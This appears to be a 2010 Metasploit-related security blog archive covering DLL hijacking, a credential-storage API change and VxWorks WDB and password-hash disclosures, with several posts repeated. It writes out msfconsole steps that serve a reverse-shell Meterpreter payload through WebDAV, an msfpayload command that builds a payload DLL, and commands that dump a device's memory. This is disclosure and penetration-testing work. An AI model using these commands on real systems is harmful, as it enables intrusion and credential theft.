Due to an overwhelming amount of interest in the initial DLLHijackAuditKit released on Monday, I rewrote the tool to use native JScript, automatically kill spawned processes, reduce the memory usage by ProcMon, and automatically validate every result from the CSV log. The result is DLLHijackAuditKit v2. This kit greatly speeds up the identification process for vulnerable applications. An extremely simple HOWTO:
1. Download the DLLHijackAuditKit v2 and extract it into a local directory on the system you would like to test.
2. Browse to this directory and launch 01_StartAudit.bat as an Administrator. The Administrator bit is important, as it will allow the script to kill background services that are spawned by the handlers and prevent UAC popups.
3. After the audit script completes (15-30 minutes), switch to the Process Monitor window, and access File->Save from the menu. Save the resulting log in CSV format to the local directory with the name "Logfile.CSV".
4. Launch 02_Analyze.bat as an Administrator. This will scan through the CSV log, build test cases for each potential vulnerability, try them, and automatically create a proof-of-concept within the Exploits directory should they succeed.
5. Identify the affected vendor for each generated proof-of-concept and ask them nicely to fix their application. Send them the calc.exe-launching PoC if necessary.
Thanks again to everyone who provided feedback (positive or negative) on the original tool, especially Rob Fuller, who let me forkbomb his system in the process of testing the new kit.
Tuesday, August 24, 2010
Sunday, August 22, 2010
Exploiting DLL Hijacking Flaws
This post describes the process for identifying and exploiting applications vulnerable to the DLL hijack vulnerability disclosed last week. For background information on this vulnerability, as well as remediation information, please see my post on the Rapid7 Blog.
Update: The audit kit has been rewritten, please ignore the instructions in this post and read this post for information on the new kit.
This vulnerability is triggered when a vulnerable file type is opened from within a directory controlled by the attacker. This directory can be a USB drive, an extracted archive, or a remote network share. In most cases, the user will have to browse to the directory and then open the target file type for this exploit to work. The file opened by the user can be completely harmless, the flaw is that the application launched to handle the file type will inadvertently load a DLL from the working directory.
In practice, this flaw can be exploited by sending the target user a link to a network share containing a file they perceive as safe. iTunes, which was affected by this flaw until last week, is associated with a number of media file types, and each of these would result in a specific DLL being loaded from the same directory as the opened file. The user would be presented with a link in the form of \\server\movies\ and a number of media files would be present in this directory. If the user tries to open any of these files, iTunes would search the remote directory for one or more DLLs and then load these DLLs into the process. If the attacker supplied a malicious DLL containing malware or shellcode, its game over for the user.
Earlier this year, Taeho Kwon and Zhendong Su of the University of California, Davis, published a paper titled Automatic Detection of Vulnerable Dynamic Component Loadings. This paper describes the different variants of DLL hijacking and Table IV of this paper contains list of vulnerable applications. They identified the exact same issues I ran into when working on the Windows Shortcut exploit, and although they omitted network shares as a vector, they did cover both carpet bombing and archive files. Kwon and Su developed a test harness to detect the vulnerable applications through instrumentation, however the associated code is not public at this time.
To determine the extent of the problem, I developed a quick and dirty audit kit that leverages the Process Monitor utility and the Ruby interpreter. This kit will turn a desktop PC into a game of whack-a-mole by launching the file handlers for every registered file type, while recording whether or not a DLL was accessed within the working directory of the associated file. After the audit phase is complete, the generate.rb script can be used to create test cases that will validate each result. Clicking through the test cases will lead to the Calculator being launched when the result is exploitable and nothing when it is not.
To use this kit, first grab a copy from this URL. Extract this into a directory on the system that you want to test. Next, grab a copy of Process Monitor (procmon.exe) and copy the procmon.exe binary into the DLLHijackAuditKit directory. Launch the Process Monitor, accept the EULA, and close it out. Next, install the Ruby interpreter into the target system. Download Ruby 1.9.1-p430 and install it normally. Finally, from the Start menu, launch the "Start Command Prompt with Ruby" link. From this shell, change into the DLLHijackAuditKit directory.
At this point, run "audit.bat" and get ready to close about a thousand pop-up windows. Every 50 file types, the script will pause until you hit enter within the command shell window. This process takes about 10-15 minutes depending on the speed of your system and the dexterity of your mousing arm. After each pass, make sure you close all open Windows except for the command shell itself and the ProcMon process. After the script finishes with all registered file extensions, you will need to export a CSV log from ProcMon. To do this:
1. Access the "Save" item from the File menu in ProcMon
2. Make sure the "Events displayed using current filter" box is checked
3. Make sure the "Include profiling events" box is unchecked
4. Make sure you choose "Comma-Separated Values" as the format
5. Save the log file into into DLLTest\results.csv
Next, we will generate a directory of proof-of-concept files for validating the results. From the Ruby command-shell, change into the DLLTest subdirectory and run "ruby generate.rb"
Finally, open Windows Explorer to the DLLTest\exploits subdirectory. A file called "exploit.[ext]" will be created for every potentially exploitable file type. Verify that no applications are running in the background and click each file type, closing the application before the next test. If the application is vulnerable, a Calculator window will appear.
Once you have a list of affected file extensions, you can use the generic exploit module within the Metasploit Framework to exploit these.
Install the latest version of the Metasploit Framework and perform an Online Update (msfupdate on Linux) to get revision 10065 or newer. Start the Metasploit Console as root and run the following commands. On Windows, the module requires you to enable a firewall for ports 139 and 445, otherwise the target will attempt to connect via SMB instead of WebDAV.
Now that the exploit is running, send the vulnerable client to the network share listed. Once the user double-clicks a file from within this share, you should see a session appear in the Metasploit console:
If you are trying to determine whether an application is exploitable or need to examine the DLL loading process in minute detail, use WinDbg with gflags to enable Loader Snapshots. After installing WinDbg, change to the installation directory from within a command shell and run "gflags /i NameOfTarget.exe +sls"
After the flags have been set, use WinDbg to launch the application, specifying the working directory and the file to actually open. The output within WinDbg will make it clear whether or not a particular DLL is being loaded and if so, whether the initialization function is actually being called. This is a great way to be absolutely sure that a particular application is or is not vulnerable. When you are finished, disable Loader Snapshots with "gflags /i NameOfTarget.exe -sls"
In addition to the standard DLL load, there are some interesting corner cases found by the audit kit, although they require manual review to identify.
1) If the application is trying to load a DLL that is normally found within the PATH, but not the Windows system directories, and the PATH contains environment variables that have not been set, then the literal value of the environment variable will be treated as sub-directory of the working directory (the share). For example, if %unknownvariable%\bin is in the system PATH, the share will be searched for a directory called “%unknownvariable%\bin” and the target DLL will be loaded from within this sub-directory.
2. If the application tries to load a DLL whose name consists of a NULL, it will search for a file named ".DLL". This is exploitable in most cases and affects at least one Microsoft product.
3. Some applications will actually load and run executables from the working directory. The audit kit generates test cases for these as well using a binary that launches the calculator.
4. Applications using certain windowing and plugin libraries will validate that the DLL in question has a certain exported symbol before loading it. This will become obvious when you see the "missing symbol" error message after opening the generated test case. These are almost always exploitable.
5. If the application loads a configuration file (INI or otherwise) from the working directory, this can also be exploitable. A few instances of this have already been uncovered, in one case where the DLL that loads the INI file is injected into unrelated applications, making them vulnerable as well.
6. Some applications will require the DLL to be signed. These applications only validate that the signature was authorized by a trusted code signing root and a $200 code signing key is all you need to exploit these.
7. In at least one instance, a .NET DLL is loaded with full privileges. A normal native DLL will be rejected, but a crafted .NET DLL can be used to exploit these types of applications.
One final note, the msfpayload utility in the Metasploit Framework can now be used to generate DLL payloads. A quick example of this is below:
Update: The audit kit has been rewritten, please ignore the instructions in this post and read this post for information on the new kit.
This vulnerability is triggered when a vulnerable file type is opened from within a directory controlled by the attacker. This directory can be a USB drive, an extracted archive, or a remote network share. In most cases, the user will have to browse to the directory and then open the target file type for this exploit to work. The file opened by the user can be completely harmless, the flaw is that the application launched to handle the file type will inadvertently load a DLL from the working directory.
In practice, this flaw can be exploited by sending the target user a link to a network share containing a file they perceive as safe. iTunes, which was affected by this flaw until last week, is associated with a number of media file types, and each of these would result in a specific DLL being loaded from the same directory as the opened file. The user would be presented with a link in the form of \\server\movies\ and a number of media files would be present in this directory. If the user tries to open any of these files, iTunes would search the remote directory for one or more DLLs and then load these DLLs into the process. If the attacker supplied a malicious DLL containing malware or shellcode, its game over for the user.
Earlier this year, Taeho Kwon and Zhendong Su of the University of California, Davis, published a paper titled Automatic Detection of Vulnerable Dynamic Component Loadings. This paper describes the different variants of DLL hijacking and Table IV of this paper contains list of vulnerable applications. They identified the exact same issues I ran into when working on the Windows Shortcut exploit, and although they omitted network shares as a vector, they did cover both carpet bombing and archive files. Kwon and Su developed a test harness to detect the vulnerable applications through instrumentation, however the associated code is not public at this time.
To determine the extent of the problem, I developed a quick and dirty audit kit that leverages the Process Monitor utility and the Ruby interpreter. This kit will turn a desktop PC into a game of whack-a-mole by launching the file handlers for every registered file type, while recording whether or not a DLL was accessed within the working directory of the associated file. After the audit phase is complete, the generate.rb script can be used to create test cases that will validate each result. Clicking through the test cases will lead to the Calculator being launched when the result is exploitable and nothing when it is not.
To use this kit, first grab a copy from this URL. Extract this into a directory on the system that you want to test. Next, grab a copy of Process Monitor (procmon.exe) and copy the procmon.exe binary into the DLLHijackAuditKit directory. Launch the Process Monitor, accept the EULA, and close it out. Next, install the Ruby interpreter into the target system. Download Ruby 1.9.1-p430 and install it normally. Finally, from the Start menu, launch the "Start Command Prompt with Ruby" link. From this shell, change into the DLLHijackAuditKit directory.
At this point, run "audit.bat" and get ready to close about a thousand pop-up windows. Every 50 file types, the script will pause until you hit enter within the command shell window. This process takes about 10-15 minutes depending on the speed of your system and the dexterity of your mousing arm. After each pass, make sure you close all open Windows except for the command shell itself and the ProcMon process. After the script finishes with all registered file extensions, you will need to export a CSV log from ProcMon. To do this:
1. Access the "Save" item from the File menu in ProcMon
2. Make sure the "Events displayed using current filter" box is checked
3. Make sure the "Include profiling events" box is unchecked
4. Make sure you choose "Comma-Separated Values" as the format
5. Save the log file into into DLLTest\results.csv
Next, we will generate a directory of proof-of-concept files for validating the results. From the Ruby command-shell, change into the DLLTest subdirectory and run "ruby generate.rb"
Finally, open Windows Explorer to the DLLTest\exploits subdirectory. A file called "exploit.[ext]" will be created for every potentially exploitable file type. Verify that no applications are running in the background and click each file type, closing the application before the next test. If the application is vulnerable, a Calculator window will appear.
Once you have a list of affected file extensions, you can use the generic exploit module within the Metasploit Framework to exploit these.
Install the latest version of the Metasploit Framework and perform an Online Update (msfupdate on Linux) to get revision 10065 or newer. Start the Metasploit Console as root and run the following commands. On Windows, the module requires you to enable a firewall for ports 139 and 445, otherwise the target will attempt to connect via SMB instead of WebDAV.
$ msfconsole
msf > use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set EXTENSIONS "ext1 ext2 ext3 ext4"
msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set LPORT 9999
msf exploit(webdav_dll_hijacker) > set LHOST (your IP address)
msf exploit(webdav_dll_hijacker) > exploit
[*] Started reverse handler on 192.168.0.226:4444
[*]
[*] Exploit links are now available at \\192.168.0.226\documents\
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.0.226:80/
[*] Server started.
Now that the exploit is running, send the vulnerable client to the network share listed. Once the user double-clicks a file from within this share, you should see a session appear in the Metasploit console:
[*] 192.168.0.184:1153 PROPFIND /DOCUMENTS/
[*] 192.168.0.184:1153 PROPFIND => 207 Directory (/DOCUMENTS/)
[*] 192.168.0.184:1153 PROPFIND => 207 Top-Level Directory
[*] 192.168.0.184:1151 PROPFIND /DOCUMENTS
[*] 192.168.0.184:1151 PROPFIND => 301 (/DOCUMENTS)
[*] 192.168.0.184:1151 PROPFIND /DOCUMENTS/
[*] 192.168.0.184:1151 PROPFIND => 207 Directory (/DOCUMENTS/)
[*] 192.168.0.184:1151 PROPFIND => 207 Top-Level Directory
[*] Meterpreter session 1 opened (192.168.0.226:4444 -> 192.168.0.184:1154)...
msf exploit(webdav_dll_hijacker) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: WINXP\Developer
If you are trying to determine whether an application is exploitable or need to examine the DLL loading process in minute detail, use WinDbg with gflags to enable Loader Snapshots. After installing WinDbg, change to the installation directory from within a command shell and run "gflags /i NameOfTarget.exe +sls"
After the flags have been set, use WinDbg to launch the application, specifying the working directory and the file to actually open. The output within WinDbg will make it clear whether or not a particular DLL is being loaded and if so, whether the initialization function is actually being called. This is a great way to be absolutely sure that a particular application is or is not vulnerable. When you are finished, disable Loader Snapshots with "gflags /i NameOfTarget.exe -sls"
In addition to the standard DLL load, there are some interesting corner cases found by the audit kit, although they require manual review to identify.
1) If the application is trying to load a DLL that is normally found within the PATH, but not the Windows system directories, and the PATH contains environment variables that have not been set, then the literal value of the environment variable will be treated as sub-directory of the working directory (the share). For example, if %unknownvariable%\bin is in the system PATH, the share will be searched for a directory called “%unknownvariable%\bin” and the target DLL will be loaded from within this sub-directory.
2. If the application tries to load a DLL whose name consists of a NULL, it will search for a file named ".DLL". This is exploitable in most cases and affects at least one Microsoft product.
3. Some applications will actually load and run executables from the working directory. The audit kit generates test cases for these as well using a binary that launches the calculator.
4. Applications using certain windowing and plugin libraries will validate that the DLL in question has a certain exported symbol before loading it. This will become obvious when you see the "missing symbol" error message after opening the generated test case. These are almost always exploitable.
5. If the application loads a configuration file (INI or otherwise) from the working directory, this can also be exploitable. A few instances of this have already been uncovered, in one case where the DLL that loads the INI file is injected into unrelated applications, making them vulnerable as well.
6. Some applications will require the DLL to be signed. These applications only validate that the signature was authorized by a trusted code signing root and a $200 code signing key is all you need to exploit these.
7. In at least one instance, a .NET DLL is loaded with full privileges. A normal native DLL will be rejected, but a crafted .NET DLL can be used to exploit these types of applications.
One final note, the msfpayload utility in the Metasploit Framework can now be used to generate DLL payloads. A quick example of this is below:
msfpayload windows/exec CMD=calc.exe D > test.dll
Tuesday, August 17, 2010
Redesigning the Credential Cracking Strategy
If you write auxiliary Metasploit modules, you are no doubt familiar with the venerable report_auth_note() -- this is the function you call in your module to let your database know about all your awesome new credentials. Well, it's been changed. More specifically, the database schema has changed. We now treat cracked credentials with all due deference and get them out of the notes table ghetto, and into a new table all their own, as befitting their stature (as of revision r10034).
Why do I say the notes table is a ghetto? Well, notes are great because they're flexible and you can stuff basically anything you want in there. But, that flexibility came with some ugly costs -- all that freewheeling data is really hard to work with outside of Metasploit. Go ahead and do a select data from notes; and you'll see what I mean. Any client has to go and un-base64 it, then parse out all the fields, and even then nothing is really guaranteed. So, while notes are great for, well, internal notes, they're not so great for making useful things like cracked credentials more available to your other pen-testing gear.
The schema and API change has made report_auth_note() (now aliased to report_creds()) a little more strict, in order to ensure that you can actually use those hard-earned credentials. The new API requires all credentials to be associated with to a specific service (denoted by a :port) on a specific IP address (denoted by :host). There are a few other fields you can populate -- here's a typical example of its use, courtesy of the ssh_login auxiliary module:
The most notes-like of these is the :proof field -- this is where you can stash a blob of text that proves that the login was good (usually the output of a uname -a or somesuch), but it's not serialized, so you can still read it later. The fields :user and :pass are what you'd expect, and :sname is the name of the service (in case you haven't registered it yet through report_service()). :active is intended to indicate that a credential was good the last time you tried it; if your victim changes his password and you don't know it anymore, you can set :active to false instead of deleting the credential.
Not shown in this example is the use of :type. Basically, this field lets you denote passwords that aren't strictly passwords; for example, smb_login can set it to "smb_hash," and ssh_pubkey_login sets it to "ssh_key" and populates the :pass field with a file path to the ssh_key in question.
Two new commands, db_creds and db_add_creds, allow for quick access to the credentials table for reading and updating credentials, and they are shockingly easy to use.
So, why is any of this important? Well, credential gathering is pretty awesome. Metasploit has thirty modules already that deal with credential gathering, covering all of the popular Internet protocols (I know this because I just touched them all to conform to the new API).
More to the point, writing bruteforce modules is tons of fun. In many ways, it's a lot easier to crack credentials than it is to get shells via exploits. As long as you have a good handle on how an authentication protocol works, it's usually straightforward to write a bruteforce module. And as a bonus, your attack will live a lot longer, since it's pretty hard to patch for weak passwords.
If you happen to notice a gap in our bruteforce coverage, and we don't cover your favorite auth protocol, please feel free to get to work on implementing a new auxiliary module to get the job done. Or, if you're feeling lazy and you hate doing fun things, file a feature request and let someone else take a crack at it.
Why do I say the notes table is a ghetto? Well, notes are great because they're flexible and you can stuff basically anything you want in there. But, that flexibility came with some ugly costs -- all that freewheeling data is really hard to work with outside of Metasploit. Go ahead and do a select data from notes; and you'll see what I mean. Any client has to go and un-base64 it, then parse out all the fields, and even then nothing is really guaranteed. So, while notes are great for, well, internal notes, they're not so great for making useful things like cracked credentials more available to your other pen-testing gear.
The schema and API change has made report_auth_note() (now aliased to report_creds()) a little more strict, in order to ensure that you can actually use those hard-earned credentials. The new API requires all credentials to be associated with to a specific service (denoted by a :port) on a specific IP address (denoted by :host). There are a few other fields you can populate -- here's a typical example of its use, courtesy of the ssh_login auxiliary module:
def do_report(ip,user,pass,port,proof)
report_auth_info(
:host => ip,
:port => rport,
:sname => 'ssh',
:user => user,
:pass => pass,
:proof => proof,
:active => true
)
end
The most notes-like of these is the :proof field -- this is where you can stash a blob of text that proves that the login was good (usually the output of a uname -a or somesuch), but it's not serialized, so you can still read it later. The fields :user and :pass are what you'd expect, and :sname is the name of the service (in case you haven't registered it yet through report_service()). :active is intended to indicate that a credential was good the last time you tried it; if your victim changes his password and you don't know it anymore, you can set :active to false instead of deleting the credential.
Not shown in this example is the use of :type. Basically, this field lets you denote passwords that aren't strictly passwords; for example, smb_login can set it to "smb_hash," and ssh_pubkey_login sets it to "ssh_key" and populates the :pass field with a file path to the ssh_key in question.
Two new commands, db_creds and db_add_creds, allow for quick access to the credentials table for reading and updating credentials, and they are shockingly easy to use.
So, why is any of this important? Well, credential gathering is pretty awesome. Metasploit has thirty modules already that deal with credential gathering, covering all of the popular Internet protocols (I know this because I just touched them all to conform to the new API).
More to the point, writing bruteforce modules is tons of fun. In many ways, it's a lot easier to crack credentials than it is to get shells via exploits. As long as you have a good handle on how an authentication protocol works, it's usually straightforward to write a bruteforce module. And as a bonus, your attack will live a lot longer, since it's pretty hard to patch for weak passwords.
If you happen to notice a gap in our bruteforce coverage, and we don't cover your favorite auth protocol, please feel free to get to work on implementing a new auxiliary module to get the job done. Or, if you're feeling lazy and you hate doing fun things, file a feature request and let someone else take a crack at it.
Monday, August 2, 2010
Shiny Old VxWorks Vulnerabilities
Back in June, I decided to spend some time looking at the VxWorks operating system. Specifically, I kept finding references to VxWorks-based devices running firmware images with the debug service (WDB Agent) enabled, but I could not find a description of the protocol or any estimates as to how prevalent this service was. After a couple days of digging around and a couple more days of scanning, I became aware of just how extensive this issue is.
For folks who aren't aware of what VxWorks is -- VxWorks was the most popular embedded operating system in 2005, it is a platform developed by Wind River Systems, which has since been acquired by Intel. Vendors who wish to build products using the VxWorks operating system will license it out by component, integrate their own application code, and then build images which can be installed on their products. VxWorks has been used to power everything from the Apple Airport Extreme access points to the Mars rovers and the C-130 Hercules aircraft. VxWorks itself is essentially a monolithic kernel with applications implemented as kernel tasks. This means that all tasks generally run with the highest privileges and there is little memory protection between these tasks (at least with version 5.x).
The WDB agent is a system-level debugger for the VxWorks operating system that runs on UDP port 17185. This service is modeled on the SunRPC protocol in terms of wire format and allows anyone with access to this port to read memory, write memory, call functions, and manage tasks. Since the protocol is UDP and there is no authentication, handshake, or session ID, requests to the WDB agent can also be spoofed by an attacker.
To determine how widespread this issue was, I wrote a scanner module for the Metasploit Framework and conducted a network survey that encompassed over 3.1 billion IP addresses. Of this set, over 250,000 systems were found with the WDB agent exposed. After digging around in the DShield database, it became obvious that an unknown party had already spent most of 2006 scanning for this service. I contacted the Carnegie Mellon CERT and provided them with the list of affected devices that were gleaned from the survey, with the goal of notifying as many vendors as possible in a reasonable amount of time. CERT assigned VU#362332 to this issue and plans to publish an advisory today (August 2nd, 2010). The Rapid7 NeXpose engineering team has created a check for this vulnerability and made this available through the standard product update mechanism.
While CERT began the coordination process for the WDB Agent issue, I ran into another vulnerability related to this VxWorks platform. VxWorks has a configuration setting entitled "INCLUDE_SECURITY"; when this setting is enabled, the definitions for LOGIN_USER_NAME and LOGIN_PASSWORD can be used to specify a set of credentials for accessing the device over FTP or Telnet. This credential set is baked into the firmware image, and while this backdoor account can be removed by application code calling loginUserDelete(), it is quite common for these credentials to be left in place for production builds. One of the Metasploit modules I wrote for the WDB Agent performs a complete physical memory dump of the target device. I noticed hardcoded credentials in the memory dumps obtained from a wide range of devices. In most situations, a memory dump would be enough to provide remote access to any exposed FTP or Telnet services, but VxWorks had one more trick that I had not accounted for.
Instead of storing the backdoor account password in clear-text, a home-grown hashing mechanism is used to obfuscate the password. Presumably, this was done so that anyone with access to an unencrypted firmware image could not login with the backdoor account just by reading the clear-text password. From an engineering perspective, the hashed password is obtained by passing the clear-text version to a proprietary utility called "vxencrypt". This utility, although undocumented, has had its hashing algorithm indexed by Google and is trivial to reverse engineer. The hashing process is basically an additive sum of all of the bytes making up the password, with some XOR thrown in for good measure, and a conversion routine to transform the final sum into a printable string. Even though VxWorks enforces a minimum password length of 8 characters (max 40), there are only around 210,000 possible hash outputs for any valid password.
To make matters worse, the number of passwords that are actually reasonable to type (not high or low ascii) fit within about 8,000 permutations. Keep in mind that there is no account lockout mechanism and that the FTP daemon allows four concurrent sessions and never drops the connection, regardless of the number of bad attempts. This allows almost any password to be brute forced, over FTP, in as little as 30 minutes. To only caveats are that the username (LOGIN_USER_NAME) is known and that the vendor in question did not replace the default authentication mechanism with their own implementation. To test this theory, I precalculated a password list that collides every possible hash output, then sorted this list so that typical passwords would be tested first. A single connection brute force using the Metasploit ftp_login module gained access to a local target device in about two hours. Once again, I enlisted the help of CERT, who assigned VU#840249 to this issue, coordinated the vendor notification process, and plans to publish an advisory today (August 2nd, 2010).
For more information, see my Fun with VxWorks presentation (PDF) from Security B-Sides Las Vegas and the Defcon 18 Skytalks, as well the sorted results (XLS) from the WDB Agent device survey. Wind River Systems, the maker of VxWorks, has notified their customer base about both issues, but has not indicated that they plan to disable the WDB Agent entirely or fix their hashing implementation. In the latter case, Wind River Systems has provided customers with sample code for replacing their existing hashing algorithm with SHA-1.
I would like to thank Dillon Beresford, Shawn Merdinger, David Maynor, R3L1K, and FX for their help identifying affected devices, reverse engineering firmware dumps in IDA, and generally lending a hand with the research. The two bugs mentioned in this post are just the tip of the iceberg and there is a lot more work left to do before the VxWorks platform is as tested as it needs to be.
I would also like to thank the security response team at Rockwell Automation, who took both issues seriously, did a deep assessment of their entire product line, and shared their findings. Not a single shipping Rockwell Automation product is affected by the vulnerabilities mentioned in this post.
Finally, I would like to thank the fine folks at CERT, who agreed to take on a 100-vendor coordination task in the 60 days leading up to the summer conferences. You guys kick ass and did an amazing job at both notifying the affected vendors and standing your ground on the disclosure schedule.
The Metasploit Framework SVN tree has been updated with a set of modules for detecting vulnerable systems and performing a remote memory dump. The device-specific WDB exploits and the master password list for the hashing vulnerability will be made available in early September. The example below demonstrates using the Metasploit Framework to identify an affected device and take a snapshot of the target's physical memory. More than likely, any device you find will NOT be in the survey results above -- the survey was limited to internet-exposed addresses and nearly every enterprise network I have tested has yielded additional affected products. You can either contact CERT (cert[at]cert.org) or try to contact the vendor directly and refer them to the CERT VU IDs above.
Update: Wind River Systems indicated that they plan on fixing the weak password hashing vulnerability in VxWorks 6.9, which has not yet been released.
For folks who aren't aware of what VxWorks is -- VxWorks was the most popular embedded operating system in 2005, it is a platform developed by Wind River Systems, which has since been acquired by Intel. Vendors who wish to build products using the VxWorks operating system will license it out by component, integrate their own application code, and then build images which can be installed on their products. VxWorks has been used to power everything from the Apple Airport Extreme access points to the Mars rovers and the C-130 Hercules aircraft. VxWorks itself is essentially a monolithic kernel with applications implemented as kernel tasks. This means that all tasks generally run with the highest privileges and there is little memory protection between these tasks (at least with version 5.x).
The WDB agent is a system-level debugger for the VxWorks operating system that runs on UDP port 17185. This service is modeled on the SunRPC protocol in terms of wire format and allows anyone with access to this port to read memory, write memory, call functions, and manage tasks. Since the protocol is UDP and there is no authentication, handshake, or session ID, requests to the WDB agent can also be spoofed by an attacker.
To determine how widespread this issue was, I wrote a scanner module for the Metasploit Framework and conducted a network survey that encompassed over 3.1 billion IP addresses. Of this set, over 250,000 systems were found with the WDB agent exposed. After digging around in the DShield database, it became obvious that an unknown party had already spent most of 2006 scanning for this service. I contacted the Carnegie Mellon CERT and provided them with the list of affected devices that were gleaned from the survey, with the goal of notifying as many vendors as possible in a reasonable amount of time. CERT assigned VU#362332 to this issue and plans to publish an advisory today (August 2nd, 2010). The Rapid7 NeXpose engineering team has created a check for this vulnerability and made this available through the standard product update mechanism.
While CERT began the coordination process for the WDB Agent issue, I ran into another vulnerability related to this VxWorks platform. VxWorks has a configuration setting entitled "INCLUDE_SECURITY"; when this setting is enabled, the definitions for LOGIN_USER_NAME and LOGIN_PASSWORD can be used to specify a set of credentials for accessing the device over FTP or Telnet. This credential set is baked into the firmware image, and while this backdoor account can be removed by application code calling loginUserDelete(), it is quite common for these credentials to be left in place for production builds. One of the Metasploit modules I wrote for the WDB Agent performs a complete physical memory dump of the target device. I noticed hardcoded credentials in the memory dumps obtained from a wide range of devices. In most situations, a memory dump would be enough to provide remote access to any exposed FTP or Telnet services, but VxWorks had one more trick that I had not accounted for.
Instead of storing the backdoor account password in clear-text, a home-grown hashing mechanism is used to obfuscate the password. Presumably, this was done so that anyone with access to an unencrypted firmware image could not login with the backdoor account just by reading the clear-text password. From an engineering perspective, the hashed password is obtained by passing the clear-text version to a proprietary utility called "vxencrypt". This utility, although undocumented, has had its hashing algorithm indexed by Google and is trivial to reverse engineer. The hashing process is basically an additive sum of all of the bytes making up the password, with some XOR thrown in for good measure, and a conversion routine to transform the final sum into a printable string. Even though VxWorks enforces a minimum password length of 8 characters (max 40), there are only around 210,000 possible hash outputs for any valid password.
To make matters worse, the number of passwords that are actually reasonable to type (not high or low ascii) fit within about 8,000 permutations. Keep in mind that there is no account lockout mechanism and that the FTP daemon allows four concurrent sessions and never drops the connection, regardless of the number of bad attempts. This allows almost any password to be brute forced, over FTP, in as little as 30 minutes. To only caveats are that the username (LOGIN_USER_NAME) is known and that the vendor in question did not replace the default authentication mechanism with their own implementation. To test this theory, I precalculated a password list that collides every possible hash output, then sorted this list so that typical passwords would be tested first. A single connection brute force using the Metasploit ftp_login module gained access to a local target device in about two hours. Once again, I enlisted the help of CERT, who assigned VU#840249 to this issue, coordinated the vendor notification process, and plans to publish an advisory today (August 2nd, 2010).
For more information, see my Fun with VxWorks presentation (PDF) from Security B-Sides Las Vegas and the Defcon 18 Skytalks, as well the sorted results (XLS) from the WDB Agent device survey. Wind River Systems, the maker of VxWorks, has notified their customer base about both issues, but has not indicated that they plan to disable the WDB Agent entirely or fix their hashing implementation. In the latter case, Wind River Systems has provided customers with sample code for replacing their existing hashing algorithm with SHA-1.
I would like to thank Dillon Beresford, Shawn Merdinger, David Maynor, R3L1K, and FX for their help identifying affected devices, reverse engineering firmware dumps in IDA, and generally lending a hand with the research. The two bugs mentioned in this post are just the tip of the iceberg and there is a lot more work left to do before the VxWorks platform is as tested as it needs to be.
I would also like to thank the security response team at Rockwell Automation, who took both issues seriously, did a deep assessment of their entire product line, and shared their findings. Not a single shipping Rockwell Automation product is affected by the vulnerabilities mentioned in this post.
Finally, I would like to thank the fine folks at CERT, who agreed to take on a 100-vendor coordination task in the 60 days leading up to the summer conferences. You guys kick ass and did an amazing job at both notifying the affected vendors and standing your ground on the disclosure schedule.
The Metasploit Framework SVN tree has been updated with a set of modules for detecting vulnerable systems and performing a remote memory dump. The device-specific WDB exploits and the master password list for the hashing vulnerability will be made available in early September. The example below demonstrates using the Metasploit Framework to identify an affected device and take a snapshot of the target's physical memory. More than likely, any device you find will NOT be in the survey results above -- the survey was limited to internet-exposed addresses and nearly every enterprise network I have tested has yielded additional affected products. You can either contact CERT (cert[at]cert.org) or try to contact the vendor directly and refer them to the CERT VU IDs above.
$ msfconsole
msf > use auxiliary/scanner/vxworks/wdbrpc_bootline
msf exploit(wdbrpc_bootline) > set RHOSTS 192.168.0.0/24
msf exploit(wdbrpc_bootline) > run
[*] 192.168.0.34: 5.4 Netro AirstarSAS 2 host:/zdev/vx_gz
[*] 192.168.0.34: BOOT> ffs(0,0)host:/zdev/vx_gz e=192.168.0.34:fffffff0...
[*] Auxiliary module execution completed
msf exploit(wdbrpc_bootline) > use auxiliary/admin/vxworks/wdbrpc_memory_dump
msf exploit(wdbrpc_memory_dump) > set RHOST 192.168.0.34
msf exploit(wdbrpc_memory_dump) > set LPATH /tmp/target.mem
msf exploit(wdbrpc_memory_dump) > run
[*] Attempting to dump system memory...
[*] 192.168.0.34 Connected to 5.4 - Netro AirstarSAS 2 (host:/zdev/vx_gz)
[*] Dumping 0x01c00000 bytes from base address 0x00000000 at offset 0x00000000...
[*] [ 00 % ] Downloaded 0x000010a4 of 0x01c00000 bytes...
Update: Wind River Systems indicated that they plan on fixing the weak password hashing vulnerability in VxWorks 6.9, which has not yet been released.
Wednesday, July 28, 2010
W3AF: An Open Source Success Story
Today, as Rapid7 announced the sponsorship of a second open source project with its support of w3af, I reflect back on my experience with Rapid7 over the last 9 months. When I agreed to the acquisition of the Metasploit project by Rapid7 in October last year it was with a lot of excitement but also with a small leap of faith. In my initial blog post from October 2009 after the acquisition I spoke about "demonstrating that we mean what we say". I spoke about how Rapid7’s resources would help us hammer out Metasploit Framework releases, with better quality assurance, fewer bugs, more exploits, and faster development cycles. In April, we increased the stakes and promised software that would simplify and automate the penetration testing tasks that you do on a daily basis.
How have we done?
Looking back, I’m glad to see that we seem to have achieved these goals. The Metasploit Framework has been integrated in the Rapid7 development process, leading to the improvements the Metasploit community is experiencing today. The Metasploit Framework remains open source.
Since October 2009, the Metasploit team and Rapid7 have released six versions of the Metasploit Framework, culminating with Metasploit 3.4.1. The Metasploit Framework has added 247 new exploit modules and 184 new auxiliary modules since the acquisition. In the first half of 2010, the Metasploit Framework was downloaded or updated by more than 740,000 unique individuals, an increase of over 91 percent compared to the second half of 2009.
In addition, we launched Metasploit Express, a commercial, enterprise-grade product that makes penetration testing easy and scalable.
It seems this experiment was successful. That’s why I was thrilled to hear this news:
"Andres Riancho joined Rapid7 to launch its global Center of Excellence for Web Security. Andres is the founder of the open-source w3af project, an extensible Web Application Attack and Audit Framework that finds and exploits web application vulnerabilities".
Why is this great news?
Because Rapid7 is committed to the w3af project, sponsoring its continued open source development and "buying in" by looking at integration with their existing commercial offerings.
This is another proof point that open source can succeed, both as a development model, and a business model, with the right configuration. While the Metasploit project was acquired by Rapid7, the w3af project remains independent but sponsored by Rapid7. I am excited to see what other collaborative models the future brings.
If you are currently thinking about launching your own open-source project, let me encourage you. It is a great way to build innovative technology and to contribute to the community. And don’t worry – once the project grows to become too successful for you to do as a hobby, there are many models for you to get the help you need. Metasploit and w3af are just two examples.
How have we done?
